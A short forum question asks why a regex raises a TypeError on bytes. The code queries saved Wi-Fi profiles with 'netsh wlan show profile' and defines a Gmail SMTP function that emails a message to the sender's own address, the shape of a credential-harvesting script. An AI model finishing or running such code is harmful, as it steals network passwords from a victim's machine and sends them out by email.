I am trying to filter using regex and it says TypeError: cannot use a string pattern on a bytes-like object.
I don't know why but I think its not registring my criteria correctly here is the code.
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names = re.search(":Profile\s*:\s(.*)", networks )
print(network_names.group(0))